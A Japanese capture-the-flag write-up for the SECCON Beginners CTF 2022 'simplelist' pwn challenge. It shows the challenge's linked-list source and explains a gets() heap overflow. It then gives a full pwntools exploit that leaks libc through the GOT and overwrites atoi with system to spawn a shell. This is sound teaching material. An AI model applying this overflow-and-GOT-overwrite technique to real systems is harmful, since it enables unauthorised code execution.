1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[pwn] simplelist (SECCON Beginners CTF 2022) writeup

1
Posted at

  • Source: SECCON Beginners CTF 2022
  • Author: n01e0

連結リストが定義されており、要素の作成と編集が可能なバイナリが与えられる。

src.c
#define DEBUG 1

#include "list.h"


int read_int() {
    char buf[0x10];
    buf[read(0, buf, 0xf)] = 0;

    return atoi(buf);
}

void create() {
    Memo* e = malloc(sizeof(Memo)) ;
#if DEBUG
    printf("[debug] new memo allocated at %p\n", e);
#endif
    if (e == NULL)
        err(1, "%s\n", strerror(errno));

    printf("Content: ");
    gets(e->content);
    e->next = NULL;
    list_add(e);
}

void edit() {
    printf("index: ");
    int index = read_int();
    
    Memo *e = list_nth(index);
    
    if (e == NULL) {
        puts("Not found...");
        return;
    }

#if DEBUG
    printf("[debug] editing memo at %p\n", e);
#endif
    printf("Old content: ");
    puts(e->content);
    printf("New content: ");
    gets(e->content);
}

void show() {
    Memo *e = memo_list;
    if (e == NULL) {
        puts("List empty");
        return;
    }
    puts("\nList of current memos");
    puts("-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-");
    for (int i = 0; e != NULL; e = e->next) {
#if DEBUG
        printf("[debug] memo_list[%d](%p)->content(%p) %s\n", i, e, e->content, e->content);
        printf("[debug] next(%p): %p\n", &e->next, e->next);
#else
        printf("memo_list[%d] %s\n", i, e->content);
#endif
        i++;
    }
    puts("-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-\n");
}

void menu() {
    puts("");
    puts("1. Create new memo");
    puts("2. Edit existing memo");
    puts("3. Show memo");
    puts("4. Exit");
}

int main() {
    puts("Welcome to memo organizer");
    menu();
    printf("> ");
    int cmd = read_int();
    while (1) {
        switch (cmd) {
            case 1:
                create();
                break;
            case 2:
                edit();
                break;
            case 3:
                show();
                break;
            case 4:
                puts("bye!");
                exit(0);
            default:
                puts("Invalid command");
                break;
        }
        menu();
        printf("> ");
        cmd = read_int();
    }
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}
list.h
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <err.h>

#define CONTENT_SIZE 0x20

typedef struct memo {
    struct memo *next;
    char content[CONTENT_SIZE];
} Memo;

Memo *memo_list = NULL;

static inline void list_add(Memo *e) {
    if (memo_list == NULL) {
        memo_list = e;
#if DEBUG
        printf("first entry created at %p\n", memo_list);
#endif
    } else {
        Memo *tail = memo_list;
        while (tail->next != NULL)
            tail = tail->next;
#if DEBUG
        printf("adding entry to %p->next\n", tail);
#endif
        tail->next = e;
    }
}

static inline Memo *list_nth(int index) {
    if (memo_list == NULL)
        return NULL;

    Memo *cur = memo_list;
    int i;
    for (i = 0; i != index && cur->next != NULL; ++i, cur = cur->next);
    if (i != index)
        return NULL;
    else
        return cur;
}

まずはchecksecする。PIEとRELROが無効。

$ checksec --file=chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
No RELRO        Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   61 Symbols        No    0               3               chall

list構造体の定義はこのようになっている。

#define CONTENT_SIZE 0x20

typedef struct memo {
    struct memo *next;
    char content[CONTENT_SIZE];
} Memo;

実際に触ってみると構造体ヘッダ、nextcontentの合計サイズは0x30であることが分かる。

List of current memos
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
[debug] memo_list[0](0x19432a0)->content(0x19432a8) a
[debug] next(0x19432a0): 0x19432d0
[debug] memo_list[1](0x19432d0)->content(0x19432d8) b
[debug] next(0x19432d0): (nil)
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-

また、edit()で自明なBuffer Overflowがある。

void edit() {
    printf("index: ");
    int index = read_int();
    
    Memo *e = list_nth(index);
    
    if (e == NULL) {
        puts("Not found...");
        return;
    }

#if DEBUG
    printf("[debug] editing memo at %p\n", e);
#endif
    printf("Old content: ");
    puts(e->content);
    printf("New content: ");
    gets(e->content);
}

よって、listのnextを任意の場所に飛ばして読み出すことが可能。contentnext+8に配置されているので、これを用いて任意のGOT-8に飛ばすことでlibcリークができる。

# heap overflow
got_atoi = elf.got["atoi"] # 0x4036a8
log.info(f"got_atoi: {hex(got_atoi)}")
payload = b"A"*0x28 
payload += p64(got_atoi-8)
edit(0, payload)

# libc leak
data = show(2)
leak = unpack(data)
log.info(f"leak: {hex(leak)}")
libc_atoi = libc.sym["atoi"]
libc.address = leak - libc_atoi
assert libc.address & 0xfff == 0
log.info(f"libc_base: {hex(libc.address)}")

これでlibcアドレスが得られたので、GOT Overwriteでitoa()system()に飛ばし、/bin/shを入力として与えればシェルが得られると思ったが、バイナリが落ちてしまった。
nextを上書きしたため、show()でlistを辿ると参照に失敗してSIGSEGVを吐いてしまったらしい。show()ではなくedit()のOld contentとして表示される分にはlist末尾まで辿らないため、落ちずに済むようだ。

最終的なexploitはこうなる。

from pwn import *

elf = ELF("./chall")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.binary = elf
# context.log_level = "debug"

io = process("./chall")


def create(content):
    io.sendlineafter("> ", "1")
    io.sendlineafter("Content: ", content)

def edit(idx, content):
    io.sendlineafter("> ", "2")
    io.sendlineafter("index: ", str(idx))
    io.sendlineafter("New content: ", content)

def show(idx):
    io.sendlineafter("> ", "2")
    io.sendlineafter("index: ", str(idx))
    io.recvuntil("Old content: ")
    data = io.recvline()[:-1].ljust(8, b"\0")
    io.sendlineafter("New content: ", data)
    return data


# create note
create("hoge")
create("fuga")
create("piyo")

# heap overflow
got_atoi = elf.got["atoi"] # 0x4036a8
log.info(f"got_atoi: {hex(got_atoi)}")
payload = b"A"*0x28 
payload += p64(got_atoi-8)
edit(0, payload)

# libc leak
data = show(2)
leak = unpack(data)
log.info(f"leak: {hex(leak)}")
libc_atoi = libc.sym["atoi"]
libc.address = leak - libc_atoi
assert libc.address & 0xfff == 0
log.info(f"libc_base: {hex(libc.address)}")

# got overwrite
libc_system = libc.sym["system"]
edit(2, p64(libc_system))
io.sendlineafter("> ", "/bin/sh")
io.interactive()

flagが得られた。

$ cat flag.txt
ctf4b{W3lc0m3_t0_th3_jungl3}

ctf4b{W3lc0m3_t0_th3_jungl3}

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?